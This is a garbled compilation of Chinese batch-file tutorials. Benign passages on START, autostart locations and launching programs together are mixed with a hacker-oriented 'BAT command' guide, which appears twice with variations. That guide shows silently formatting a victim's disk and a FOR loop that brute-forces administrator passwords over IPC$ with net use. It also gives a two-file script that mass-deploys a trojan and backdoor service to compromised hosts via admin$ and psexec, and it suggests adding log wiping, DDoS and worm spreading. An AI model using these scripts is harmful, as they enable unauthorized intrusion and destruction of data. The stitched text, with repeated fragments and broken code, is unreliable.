a,呵呵,好像有点画蛇添足了~sample2:当我们要建立一个IPC$连接地时候总要输入一大串命令,弄欠好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不必每次都打命令了.@echo off@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数.@if errorlevel 1 echo connection failed怎么样,使用参数还是比较简单的吧?欠好的地方请大家见谅见谅下哈..。
win7下bat打开cmd执⾏命令今天想将服务器上的服务写成批处理⽂件,⽅便机器重启时,启动所有需要启动的服务1.新建start.bat新建⽂本⽂件,改名为start.bat注: 为了防⽌乱码,将⽂件编码改为:utf-8,保存2.了解基本命令 @echo off 从本⾏开始关闭回显(批处理第⼀⾏⼀般都是这个) @ 关闭单⾏回显echo /?显⽰信息,或将命令回显打开或关上。
ECHO [ON | OFF]ECHO [message]要显⽰当前回显设置,键⼊不带参数的 ECHO。
startC:\Users\Administrator>start/?启动⼀个单独的窗⼝运⾏指定的程序或命令。
START ["title"] [/D path] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED][/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL][/NODE <NUMA node>] [/AFFINITY <hex affinity mask>] [/WAIT] [/B][command/program] [parameters]"title"在窗⼝标题栏中显⽰的标题。
path 启动⽬录。
B 启动应⽤程序,但不创建新窗⼝。
应⽤程序已忽略 ^C 处理。
除⾮应⽤程序启⽤ ^C 处理,否则 ^Break 是唯⼀可以中断该应⽤程序的⽅式。
I 新的环境将是传递给 cmd.exe 的原始环境,⽽不是当前环境。
MIN 以最⼩化⽅式启动窗⼝。
MAX 以最⼤化⽅式启动窗⼝。
SEPARATE 在单独的内存空间中启动16位 Windows 程序。
SHARED 在共享内存空间中启动16位 Windows 程序。
LOW 在 IDLE 优先级类中启动应⽤程序。
批处理脚本自动启动指定的Windows应用程序在日常工作和生活中,我们经常需要使用各种Windows应用程序。
每次都手动启动这些应用程序可能会变得繁琐和浪费时间。
为了提高工作效率,我们可以利用批处理脚本来实现自动启动指定的Windows 应用程序。
本文将介绍如何编写批处理脚本,并详细说明自动启动指定应用程序的方法。
一、批处理脚本简介批处理脚本是一种文本文件,以批处理文件的格式存储。
它包含了一系列用来执行特定任务的命令和指令。
批处理脚本可以自动执行这些命令,从而实现一些自动化的操作。
二、编写批处理脚本批处理脚本可以使用任何文本编辑器编写,例如记事本、Notepad++等。
下面是一个简单的示例:```@echo offstart "" "C:\Program Files\Internet Explorer\iexplore.exe"```在上述示例中,`@echo off` 表示关闭命令的回显功能,`start` 命令用于启动指定的应用程序,`""` 表示应用程序窗口的标题,`"C:\Program Files\Internet Explorer\iexplore.exe"` 是需要启动的应用程序的路径。
三、启动指定的Windows应用程序要启动指定的Windows应用程序,首先需要知道该应用程序的安装路径。
可以通过以下方法找到应用程序的路径:1. 打开开始菜单,找到需要启动的应用程序。
2. 右键点击应用程序的图标,选择“属性”。
3. 在弹出的属性窗口中,复制“目标”字段中的路径。
获取到应用程序的路径后,在批处理脚本中使用`start`命令来启动该程序。
下面是一个示例:```@echo offstart "" "C:\Program Files\Internet Explorer\iexplore.exe"start "" "C:\Windows\System32\notepad.exe"start "" "C:\Program Files(x86)\Google\Chrome\Application\chrome.exe"```以上示例将同时启动Internet Explorer、记事本和Google Chrome浏览器。
在Windows中查找自启动程序的方法如果系统启动时自动加载的程序过多,会造成启动速度缓慢,而很多病毒或者木马也是在系统启动时自动加载的。
所以了解怎样在Windows中查找自启动程序是非常重要的。
一、在“启动”文件夹中寻找“启动”文件夹一般位于“系统盘符\Documents and Settings\用户名\开始菜单\程序\启动\”目录(Win 2000/XP)或“系统盘符\WINDOWS\Start Menu\Programs\启动\”目录。
通过快捷方式的属性可以查出程序所在的位置。
二、从自动批处理文件中寻找在Win 98中,Autoexec.bat和Winstart.bat文件中的程序在开机时自动执行;而在Win Me/2000/XP/2003中,这两个批处理文件默认不被执行。
三、从系统配置文件中寻找在有些系统配置文件中也可以找到自启动程序的踪迹,如Config.sys、Win.ini、System.ini、Wininit.ini和Msdos.sys等。
四、通过“系统配置实用程序”寻找在“开始→运行”中键入“msconfig.exe”启动“系统配置实用程序”,进入“启动”选项卡,即可查看随系统启动的程序名称和位置。
注意:Win 2000本身没有Msconfig程序,可以从Win XP/2003中提取。
五、从计划任务中寻找在“控制面板”中双击“任务计划”就可以查看是否有计划任务随系统一起启动。
六、使用“系统信息”寻找进入“系统信息”主界面,依次展开分支“软件环境→启动程序”,就可以在右窗格中查看自启动程序名称和位置。
七、使用“组策略”寻找在Win 2000/XP/2003中,在“开始→运行”中键入“gpedit.msc”,打开“组策略”,依次展开“用户配置→管理模板→系统→登录/注销”,双击“在用户登录时运行这些程序”,单击“显示”按钮,即可查看自启动程序。
电脑100 实用的电脑技巧,绿色、破解实用软件下载八、通过注册表寻找在注册表中,可以从下列键值中查找自启动程序的名称和位置。
批处理文件BAT命令大全一.简单批处理内部命令简介命令打开回显或关闭请求回显功能,或显示消息;如果没有任何参数,echo 命令将显示当前回显设置;语法echo {on│off} messageSample:echo off / echo hello world在实际应用中我们会把这条命令和重定向符号也称为管道符号,一般用> >> ^结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来;2. 命令表示不显示后面的命令,在入侵过程中例如使用批处理来格式化敌人的硬盘自然不能让对方看到你使用的命令啦;Sample:echo offecho Now initializing the program,please wait a minite...format X: /q/u/autoset format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的;命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令;语法:goto label label是参数,指定所要转向的批处理程序中的行;Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms如果这里的if、%1、%2就是表示变量;Rem check parameters if null show usage:noparmsecho Usage: ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用goto 所无法识别的标号, 即在: 后紧跟一个非字母数字的一个特殊符号. goto 命令就是根据这个:来寻找下一步跳到到那里;最好有一些说明这样你别人看起来才会理解你的意图啊;命令注释命令,起一个注释的作用,便于别人阅读和你自己日后修改;Rem MessageSample:Rem Here is the description.命令运行Pause 命令时,将显示下面的消息:Press any key to continue . . .Sample:echo off:begincopy a:. d:\backecho Please put a new disk into driver Apausegoto begin在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中;显示的注释提示您将另一张磁盘放入驱动器A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理;命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序;call 命令接受用作调用目标的标签;如果在脚本或批处理文件外使用Call,它将不会在命令行起作用;语法call Drive:Path FileName BatchParameters :label arguments参数Drive:}Path FileName指定要调用的批处理程序的位置和名称;filename 参数必须具有.bat 或.cmd 扩展名;命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用;入侵常用参数:MIN 开始时窗口最小化SEPARATE 在分开的空间内开始16 位Windows 程序HIGH 在HIGH 优先级类别开始应用程序REALTIME 在REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是32-位GUI 应用程序时, 不等应用程序终止就返回命令提示;如果在命令脚本内执行,该新行为则不会发生;命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令;使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格;它的返回码为1234......如: choice /c:dme defrag,mem,end将显示defrag,mem,endD,M,ESample:的内容如下:echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag 应先判断数值最高的错误码if errorlevel 2 goto memif errotlevel 1 goto end:defragc:\dos\defraggoto end:memmemgoto end:endecho good bye此文件运行后,将显示defrag,mem,endD,M,E 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束;命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令; 有三种格式:a、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句;注意是两个等号如if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparmsb 、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句;如if exist editc 、if errorlevel / if not errorlevel 数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句;如if errorlevel 2 goto x2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1;命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令;在批处理文件中使用FOR 命令时,指定变量请使用%%variablefor {%variable│%%variable} in set do command CommandLineOptions%variable 指定一个单一字母可替换的参数;set 指定一个或一组文件;可以使用通配符;command 指定对每个文件执行的命令;command-parameters 为特定命令指定参数或命令行开关;在批处理文件中使用FOR 命令时,指定变量请使用%%variable而不要用%variable;变量名称是区分大小写的,所以%i 不同于%I如果命令扩展名被启用,下列额外的FOR 命令格式会受到支持:FOR /D %variable IN set DO command command-parameters如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配;FOR /R drive:path %variable IN set DO command command-检查以drive:path 为根的目录树,指向每个目录中的FOR 语句;如果在/R 后没有指定目录,则使用当前目录;如果集仅为一个单点.字符,则枚举该目录树;FOR /L %variable IN start,step,end DO command command-para该集表示以增量形式从开始到结束的一个数字序列;因此,1,1,5 将产生序列1 2 3 4 5,5,-1,1 将产生序列5 4 3 2 1;FOR /F "options" %variable IN file-set DO commandFOR /F "options" %variable IN "string" DO commandFOR /F "options" %variable IN 'command' DO command或者,如果有usebackq 选项:FOR /F "options" %variable IN file-set DO commandFOR /F "options" %variable IN "string" DO commandFOR /F "options" %variable IN 'command' DO commandfilenameset 为一个或多个文件名;继续到filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理;处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号;然后用已找到的符号字符串变量值调用For 循环;以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号;跳过空白行;您可通过指定可选"options" 参数替代默认解析操作;这个带引号的字符串包括一个或多个指定不同解析选项的关键字;这些关键字为:eol=c - 指一个行注释字符的结尾就一个skip=n - 指在文件开始时忽略的行数;delims=xxx - 指分隔符集;这个替换了空格和跳格键的默认分隔符集;tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的for 本身;这会导致额外变量名称的格式为一个范围;通过nth 符号指定m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本;usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在fi中使用双引号扩起文件名称;sample1:FOR /F "eol=; tokens=2,3 delims=, " %i in do command会分析中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for 程序体;用逗号和/或空格定界符号;请注意,这个for 程序体的语句引用%i 来取得第二个符号,引用%j 来取得第三个符号,引用%k 来取得第三个符号后的所有剩余符号;对于带有空格的文件名,您需要用双引号将文件名括起来;为了用这种方式来使用双引号,您还需要使用usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的;%i 专门在for 语句中得到说明,%j 和%k 是通过tokens= 选项专门得到说明的;您可以通过tokens= 一行指定最多26 个符号,只要不试图说明一个高于字母'z' 或'Z' 的变量;请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有52 个以上都在使用中;您还可以在相邻字符串上使用FOR /F 分析逻辑;方法是,用单引号将括号之间的filenameset 括起来;这样,该字符串会被当作一个文件中的一个单一输入行;最后,您可以用FOR /F 命令来分析命令的输出;方法是,将括号之间的filenameset 变成一个反括字符串;该字符串会被当作命令行,传递到一个子,其输出会被抓进内存,并被当作文件分析;因此,以下例子:FOR /F "usebackq delims==" %i IN `set` DO echo %i会枚举当前环境中的环境变量名称;另外,FOR 变量参照的替换已被增强;您现在可以使用下列选项语法:~I - 删除任何引号",扩充%I%~fI - 将%I 扩充到一个完全合格的路径名%~dI - 仅将%I 扩充到一个驱动器号%~pI - 仅将%I 扩充到一个路径%~nI - 仅将%I 扩充到一个文件名%~xI - 仅将%I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将%I 扩充到文件的文件属性%~tI - 将%I 扩充到文件的日期/时间%~zI - 将%I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个完全合格的名称;如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将%I 扩充到一个驱动器号和路径%~nxI - 仅将%I 扩充到一个文件名和扩展名%~fsI - 仅将%I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个驱动器号和路径;%~ftzaI - 将%I 扩充到类似输出线路的DIR在以上例子中,%I 和PATH 可用其他有效数值代替;%~ 语法用一个有效的FOR 变量名终止;选取类似%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆;以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途;sample2 :利用For命令来实现对一台目标Win2k主机的暴力密码破解;我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码;最主要的命令是一条:for /f i% in do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在中这个取i%的值用net use 命令来连接;然后将程序运行结果传递给find命令--for /f i%% in do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\ ,这样就ko了;sample3 :你有没有过手里有大量肉鸡等着你去种后门+木马呢,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:;文章开头就谈到使用批处理文件,可以简化日常或重复性任务;那么如何实现呢呵呵,看下去你就会明白了;主要命令也只有一条:在批处理文件中使用FOR 命令时,指定变量使用%%variablefor /f "tokens=1,2,3 delims= " %%i in do start call %%i %%j %%ktokens的用法请参见上面的sample1,在这里它表示按顺序将中的内容传递给中的参数%i %j %k;而无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码If errorlever =来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件;delims= 表示中的内容是一空格来分隔的;我想看到这里你也一定明白这里的内容是什么样的了;应该根据%%i %%j %%k表示的对象来排列,一般就是ip password username;代码雏形:--------------- cut here then save as a batchfileI call it ---------------------------echo offif "%1"=="" goto usagefor /f "tokens=1,2,3 delims= " %%i in do start call %%i %%j %%kgoto end:usageecho run this batch in dos just double-click it.:end--------------- cut here then save as a batchfileI call it ---------------------------------------------- cut here then save as a batchfileI call it -----------------------------net use \\%1\ipc$ %3 /u:"%2"if errorlevel 1 goto failedecho Trying to establish the IPC$ connection ............OKcopy \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>p ec \\%1 c:\winnt\system32\p ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>:failedecho Sorry can not connected to the victim.----------------- cut here then save as a batchfileI call it --------------------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序,需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能蠕虫.此处不多做叙述,有兴趣的朋友可自行研究.二.如何在批处理文件中使用参数批处理中可以使用参数,一般从1%到9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了;sample1:echo offif "%1"=="a" format a::formatformat a:/q/u/auotsetecho please insert another disk to driver A.pausegoto fomat这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入a,呵呵,好像有点画蛇添足了~sample2:当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了;echo offnet use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数;if errorlevel 1 echo connection failed怎么样,使用参数还是比较简单的吧不好的地方请大家见谅见谅下哈;;。
批处理文件BAT命令大全之樊仲川亿创作1.Echo 命令打开回显或关闭请求回显功能,或显示消息。
如果没有任何参数,echo 命令将显示当前回显设置。
语法echo [{on│off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令暗示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不克不及让对方看到你使用的命令啦。
Sample:@echo off@echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不成以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。
)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。
)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2就是暗示变量。
)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来暗示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识此外标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个:来寻找下一步跳到到那里。
当一个程序启动或退出时,让另一个程序随其启动或退出,使用这种方法往往可以提高工作效率。
比如,为了节约有效的资源,不上网时可退出实时病毒检测程序,上网时又让其随网络连接的打开而自动运行等。
让一个程序随另一程序
的启动而自动运行
控制来自微软的程序
这类程序包括两类:一是随Windows安装的程序,如IE、OE、图画程序、写字板、记事本等;二是来自微软的应用程序如Microsoft Office下的Word、Excel、PowerPoint等。
要控制此类程序的启动,使用批处理文件就行了,与其它程序相比,不需要在批处理中指明绝对路径,下面举例说明。
Windows自带的“写字板”用于处理一般的文本文档已足够了,但它不像Word那样自带内容丰富的符号库,怎样让Windows自带的“字符映射表”(这下面也有很多符号)程序随“写字板”的打开而自动打开呢?
步骤1:在硬盘任一位置新建一个目录,专门用于存放要建立的批处理文件。
为方便叙述,设这个目录是d:\bat。
步骤2:查找“字符映射表”的安装位置及启动程序。
在开始菜单下找到“字符映射表”的快捷方式,右击,选择“属性”,打开图1所示的窗口,切换到“快捷方式”选项卡下,注意观察“目标”后的内容:%SystemRoot%\System32\:这指出了它的安装目录,要注意的是两个%之间的内容表示Windows的安装目录,一般是c:\windows。
charmap.exe则表示启动“字符映射表”的可执行程序。
如果有兴趣的话,可试一下在图1
中单击“查找目录”,就能直达“字符映射表”程序的安装目录,双击charmap.exe,你就会看到“字符映射表”程序打开。
同理,可查出“写字板”的安装目录及执行程序是C:\Program Files\Windows NT\Accessories\wordpad.exe。
步骤3:创建批处理。
在d:\bat目录下创建一个文本文件,内容只包含以下两行:
start wordpad
start charmap
写完以上内容后,选择“文件”|“另存为”,注意,选择“另存为”后,必须在“保存类型”下选择“所有文件”,文件名可任意,但扩展名必须是bat,如图2所示。
为方便记忆,本例输入的文件名是“写字板.bat”,然后单击“保存”即可。
接着,进入d:\bat目录,可看到刚建立的批处理文件,如图3所示。
要注意的是,这里的批处理
与DOS下的批处理略有不同,得在每一命令的前面加上Start命令。
步骤4:修改图标。
双击图3的批处理文件,你就会惊奇地发现,随着“写字板”的启动,“字符映射表”程序也会打开。
但图3所示的是标准的批处理图标,实在是有些难看,而且我们在后面还要建立很多批处理程序,类似图标太多也不便于区分,可以将其换成标准的“写字板”图标。
右击图3中的批处理,选择“发送到”|“桌面快捷方式”,在桌面上找到刚发送出来的快捷方式,右击之,选择“属性”|“快捷方式”,再单击当前界面上的“更改图标”,得到图4对话框。
单击“浏览”,定位到“写字板”的安装位置,选中wordpad.exe,再单击当前窗口上的“打开”就能将标准的写字板程序图标提取出来,指定给刚在桌面上建立的快捷方式,双击后上述的两个程序就能同时打开了。
控制非微软的程序
要让不是来自微软的两个程序先后打开,也可用上述批处理来实现,但必须指明程序的绝对路径。
我们以让防火墙ZoneAlarmPro随IE的启动而运行为例说明。
步骤1:查出防火墙软件的安装位置和启动程序是C:\Program Files\Zone Labs\ZoneAlarm\zlclient.exe,再查出IE的安装位置和执行程序C:\Program Files\Internet Explorer\iexplore.exe。
查找IE的安装位置时不能用前面提到的方法(与此类似的还有Micr-
osoft Office系列程序),这就需要我们对系统各文件的位置有一定了解。
步骤2:建立批处理,在批处理中输入以下内容:
path=%path%; C:\Program Files\Zone Labs\ZoneAlarm
start iexplore
start zlclient
在这里,程序的第一行是为防火墙软件的启动程序指明路径。
步骤3:为这个批处理在桌面上建立快捷方式并修改图标(具体做法参考上文)。
以上两例都是用批处理来实现一个程序随另一程序的启动而运行的。
可惜的是,很多程序没有设置类似功能的选项,特别是杀毒软件、防火墙等软件,要是能设置随IE、OE、拨号连接等的运行而自动运行就好了。
有些小软件也能实现上述功能,比如Absolute StartUp。
安装后运行,界面如图5所示。
如果要让防火墙ZoneAlarmPro随OE的启动而运行,可进行以下的设置:
步骤1:Absolute StartUp运行后,能自动扫描出电脑中随Windows的启动而自动运行的程序,在扫描出的程序列表中找到防火墙软件,选中它。
步骤2:勾选“Schedule”,在“Type”下选择“after program”,在“Case”下选择“Start always”,在“Delay(sec)”后将延迟时间设为0,其含义是马上执行,勾选“Run minimized”。
步骤3:单击右下角的浏览按钮,定位到OE的安装位置C:\Program Files\Outlook Express\,再选中启动OE的可执行程序msimn.exe,然后单击当前窗口中的打开即可。
今后,只要启动OE,防火墙就会自动打开。
让一个程序随另一程序的启动而退出
我们知道,有的程序之间有冲突,怎样解决呢?下面以启动Word的同时,让QQ自动退出为例
说明。
要完成这一任务,得用到Windows XP下的命令提示符工具:T askkill,它的作用是结束一个或多个任务或进程。
本文中要用到的参数有:
/im ImageName :指定将终止的进程名称。
可以使用通配符(*)来指定进程名称。
/f :强制终止某进程。
/t :指定终止与父进程一起的所有子进程,常被认为是“树终止”。
具体做法为,建立一个有两行内容的批处理文件:
start WinWord
start taskkill/f/t/imqq.exe
程序的第一行启动Word,它的默认安装位置是C:\Program Files\Microsoft Office\Office10,启动Word的可执行程序是WinWord.exe;第二行是强制结束已打开的QQ进程,要注意的是,要结束的进程必须输入全文件名,这与DOS下的运行程序时只需输入主文件名的规则不一样,也就是说,如果将第二行改为start taskkill/f/t/imqq,是不能结束QQ程序的。
需要说明的是,如果第一行是启动来自微软的程序,就用不着输入绝对路径,也用不着像前面讲到的那样用Path来指定搜索路径;但如果是启动非微软的程序,则必须像前面讲过的那样指定路径。
另外,第二行的意思是结束某进程,不管是否为微软的程序,都不能加入路径,因为它已经作为进程而打开了,批处理能找到它,就算进程已结束,运行上述批处理进也不会报任何错误。
综上所述,要让一个程序的启动或结束受另一程序的控制其实不难,只要建立一个批处理文件即可。
但需要特别注意的是,由于这种方法同样可让一个危险的程序随另一程序的启动而运
行(比如格式化非系统盘、删除用户重要文件等),而且还完全可将批处理的图标伪装成正常程序(由于批处理中使用了Start命令,跟在后面的命令执行时完全在后台运行,不会显示出来,有很强的隐蔽性),所以很容易给不知情的用户造成不小的困扰。